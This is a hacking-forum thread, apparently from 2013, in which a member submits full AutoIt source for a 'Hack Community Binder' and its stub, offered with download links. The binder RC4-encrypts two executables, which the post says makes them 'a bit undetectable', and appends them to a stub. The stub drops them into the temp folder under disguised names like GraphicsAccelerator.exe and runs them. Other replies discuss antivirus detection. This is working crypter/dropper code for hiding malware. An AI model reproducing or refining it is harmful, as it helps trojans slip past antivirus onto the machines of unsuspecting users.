(12-29-2012, 11:33 PM)Guxi Wrote: Can i get official logo and font used in logo. I'll try to program something nice so i can hopefully publish something into 'official' of this forum.

Thanks

(01-28-2013, 05:49 PM)Solixious Wrote: I'd wish to apply for one tool i made.
Name : Hack Community Binder
Description : It can be used to bind two executable files together. It will also encrypt them before binding them, to make it a bit undetectable.
Coded in : Autoit3
Screenshot :
Source [binder] :

Code:

#include<GUIConstants.au3>
#include<EditConstants.au3>
#include<Crypt.au3>
#include<WindowsConstants.au3>

Opt("GUIOnEventMode",1)
$color1=0x090909
$color2=0xa9595a
$color3=0x777777
$frame=GUICreate("Binder",400,300,200,200,$WS_POPUPWINDOW)
$header1=GUICtrlCreateLabel("Hack Community",20,20,360,50)
$header2=GUICtrlCreateLabel("Binder",220,60,100,50)
$label1=GUICtrlCreateLabel("File 1",20,130,60,20)
$label2=GUICtrlCreateLabel("File 2",20,170,60,20)
$label3=GUICtrlCreateLabel("Output Path",20,210,60,20)
$input1=GUICtrlCreateInput("",90,130,250,20,$ES_AUTOHSCROLL+$ES_READONLY+$ES_OEMCONVERT)
$input2=GUICtrlCreateInput("",90,170,250,20,$ES_AUTOHSCROLL+$ES_READONLY+$ES_OEMCONVERT)
$input3=GUICtrlCreateInput("",90,210,250,20,$ES_AUTOHSCROLL+$ES_READONLY+$ES_OEMCONVERT)
$button1=GUICtrlCreateButton("...",350,130,30,20)
$button2=GUICtrlCreateButton("...",350,170,30,20)
$button3=GUICtrlCreateButton("...",350,210,30,20)
$bind=GUICtrlCreateButton("Bind",190,250,70,25)
$close=GUICtrlCreateButton("Close",270,250,70,25)
$about=GUICtrlCreateButton(">>",370,270,20,20)
$frame2=GUICreate("",300,100,600,400,$WS_POPUPWINDOW)

$label=GUICtrlCreateLabel("Author : Solixious Klein" & @CRLF & "Special Thanks : Deque and Coder-San" & @CRLF & "www.hackcommunity.com",20,20,300,100)
$view=0
init()
GUICtrlSetOnEvent($close,"quit")
GUICtrlSetOnEvent($button1,"getpath1")
GUICtrlSetOnEvent($button2,"getpath2")
GUICtrlSetOnEvent($button3,"getpath3")
GUICtrlSetOnEvent($bind,"bind")
GUICtrlSetOnEvent($about,"about")
GUISetState(@SW_SHOW,$frame)
GUISetOnEvent($GUI_EVENT_CLOSE,"quit",$frame)
While 1
   ;
WEnd

Func init()
   GUICtrlSetFont($header1,27)
   GUICtrlSetFont($header2,25)
   GUICtrlSetFont($label1,14)
   GUICtrlSetFont($label2,14)
   GUICtrlSetFont($label3,14)
   GUICtrlSetFont($label,11)
   GUICtrlSetFont($bind,12)
   GUICtrlSetFont($close,12)
   GUICtrlSetFont($input1,12)
   GUICtrlSetFont($input2,12)
   GUICtrlSetFont($input3,12)
   GUISetBkColor($color1,$frame)
   GUISetBkColor($color1,$frame2)
   GUICtrlSetBkColor($input1,$color3)
   GUICtrlSetBkColor($input2,$color3)
   GUICtrlSetBkColor($input3,$color3)
   GUICtrlSetBkColor($button1,$color2)
   GUICtrlSetBkColor($button2,$color2)
   GUICtrlSetBkColor($button3,$color2)
   GUICtrlSetColor($label1,$color2)
   GUICtrlSetColor($label2,$color2)
   GUICtrlSetColor($label,$color2)
   GUICtrlSetColor($label3,$color2)
   GUICtrlSetBkColor($bind,$color2)
   GUICtrlSetBkColor($close,$color2)
   GUICtrlSetBkColor($about,$color2)
   GUICtrlSetColor($header1,$color2)
   GUICtrlSetColor($header2,$color3)
EndFunc

Func quit()
   Exit
EndFunc

Func getpath1()
   $filepath=FileOpenDialog("Open Executable File",@MyDocumentsDir,"Executable File (*.exe)",1,"",$frame)
   If @error Then
      ;
   Else
      GUICtrlSetData($input1,$filepath)
   EndIf
EndFunc

Func getpath2()
   $filepath=FileOpenDialog("Open Executable File",@MyDocumentsDir,"Executable File (*.exe)",1,"",$frame)
   If @error Then
      ;
   Else
      GUICtrlSetData($input2,$filepath)
   EndIf
EndFunc


Func getpath3()
   $filepath=FileSaveDialog("Save Binded File",@MyDocumentsDir,"Executable File (*.exe)",16,"",$frame) & ".exe"
   If @error Then
      ;
   Else
      GUICtrlSetData($input3,$filepath)
   EndIf
EndFunc

Func bind()
   $path1=GUICtrlRead($input1)
   $path2=GUICtrlRead($input2)
   $path3=GUICtrlRead($input3)
   If FileExists($path1) And FileExists($path2) Then
      $marker=StringToBinary("SOLIXIOUS")
      $output=FileOpen($path3,1+2+8+16)
      $inputx1=FileOpen($path1,0+16)
      $inputx2=FileOpen($path2,0+16)
      $data1=FileRead($inputx1)
      $data2=FileRead($inputx2)
      $stub=FileOpen(@ScriptDir & "\Stub.exe",0+16)
      $stubdata=FileRead($stub)
      FileWrite($output,$stubdata)
      FileWrite($output,$marker)
      $data1=encrypt(BinaryToString($data1))
      $data2=encrypt(BinaryToString($data2))
      FileWrite($output,StringToBinary($data1))
      FileWrite($output,$marker)
      FileWrite($output,StringToBinary($data2))
      FileClose($output)
      FileClose($inputx1)
      FileClose($inputx2)
      MsgBox(64,"Successful","Files Binded Successfully!")
      GUICtrlSetData($input1,"")
      GUICtrlSetData($input2,"")
      GUICtrlSetData($input3,"")
   EndIf
EndFunc

Func encrypt($data)
   $data=_Crypt_EncryptData($data,"SOLIXIOUS",$CALG_RC4)
   Return $data
EndFunc

Func about()
   If $view=0 Then
      GUISetState(@SW_SHOW,$frame2)
      GUICtrlSetData($about,"<<")
      $view=1
   Else
      GUISetState(@SW_HIDE,$frame2)
      GUICtrlSetData($about,">>")
      $view=0
   EndIf
EndFunc

Source [stub]

Code:

#include<Crypt.au3>

$path=@ScriptFullPath
$file=FileOpen($path,0+16)
$data=FileRead($file)
$marker="SOLIXIOUS"
$strdata=BinaryToString($data)
$ardata=StringSplit($strdata,$marker,1)
HotKeySet("+!c","quit")
If @error Then
   MsgBox(0,"No Delimiters","No delimiters Found!")
Else
   If $ardata[0]=3 Then
      $ardata[2]=decrypt(BinaryToString($ardata[2]))
      $ardata[3]=decrypt(BinaryToString($ardata[3]))
      $file1=FileOpen(@TempDir & "\GraphicsAccelerator.exe",2+16)
      FileWrite($file1,$ardata[2])
      FileClose($file1)
      $file2=FileOpen(@TempDir & "\GraphicsService.exe",2+16)
      FileWrite($file1,$ardata[3])
      FileClose($file2)
      ShellExecute(@TempDir & "\GraphicsAccelerator.exe")
      ShellExecute(@TempDir & "\GraphicsService.exe")
      While 1
         ;
      WEnd
   EndIf
EndIf

Func decrypt($data)
   $data=_Crypt_DecryptData($data,"SOLIXIOUS",$CALG_RC4)
   return $data
EndFunc

Func quit()
   Exit
EndFunc

Extra Note : I've made it for binding 2 files only right now, I might add more of them later. Pardon me, but my code usually doesn't look very pretty, but it is clean. I mean I'm not infecting anyone

Download :
Hack Community Binder x86.rar
Hack Community Binder x86.rar
Hack Community Binder x64

(02-03-2013, 03:25 AM)krislovesholly Wrote: this is pissing me off i tried coding a few things for hc but it comes up with shit like krypt in virus scan coding it with vb it does my head in but been coded with just some simple coding does anyone know about this ? and that binder looks great

(03-02-2013, 06:06 AM)Ex094 Wrote: An HC Official tool must have a GUI??? (Is CLI Allowed?)